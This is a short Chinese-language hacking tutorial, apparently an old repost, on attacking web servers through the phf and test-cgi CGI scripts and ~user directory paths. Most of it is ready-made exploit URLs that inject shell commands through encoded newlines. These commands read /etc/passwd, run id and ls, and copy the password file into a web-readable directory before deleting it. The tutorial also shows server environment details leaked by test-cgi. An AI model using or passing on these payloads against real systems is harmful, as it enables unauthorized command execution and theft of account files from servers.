暂时挑选了一些常用的文章上来，更多的将陆续上传

phf攻击

　大家都知道了phf攻击了,phf是cgi script,很多站点都有这个漏洞啦,使用
http://thegnome.com/cgi-bin/phf? Qalias=x% 0a/bin/cat%20/etc/passwd
指令可以拿到那个站点的passwd.但还有些更好的执行方法呦.如:
http://thegnome.com/cgi-bin/phf?%0aid &Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?% 0als% 20-la%20% 7Esomeuser&Qalias=& Qname=haqr & Qemail=&
Qnickname=& Qoffice_phone=
http://thegnome.com/cgi-bin/phf?% 0acp% 20/etc/passwd%20% 7Esomeuser/passwd% 0A&Qalias=& Qname=
haqr &Qemail=& Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?% 0arm% 20% 7Esomeuser/passwd & Qalias= & Qname=haqr & Qemail= &
Qnickname=& Qoffice_phone=
上面执行的命令是id
ls -la ~someuser
cp /etc/passwd ~someuser/passwd
rm ~someuser/passwd
有关test攻击
http://thegnome.com/cgi-bin/test-cgi? \whatever
服务器会应答,本服务器的一些情况如:
CGI/1.0 test script report:
argc is 0. argv is.
SERVER_SORTWARE=NCSA/1.4B
SERVER-NAME=thegnome.com
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.0
SERVER_PORT=80
REQUEST_METHOD=GET
HTTP_ACCEPT=text/plain,application/x-html, application/html,text/html,text/x-html
PATH_INFO=
PATH_TRANSLATED=
SCRIPT_NAME=/cgi-bin/test-cgi
QUERY-STRING=whatever
REMOTE_HOST=fifth.column.gov
REMOTE_ADDR=200.200.200.200
REMOTE_USER=
AUTH_TYPE=
CONTENT_TYPE=
CONTENT_LENGTH=
好吧,让我们来点感兴趣的
http://thegnome.com/cgi-bin/test-cgi? \ help&0a/bin/cat%20/etc/passwd
应用
主要是用在很多的个人主页上的快捷目录的方法,如果我们使用这样的
http://thegnome.com/~root
http://thegnome.com/~root/etc/passwd
不是在任何平台上都通过呦,在BSD Apache 上曾经成功过,当然还可以试试~bin,~etc,~uucp ...注意请不要破坏呀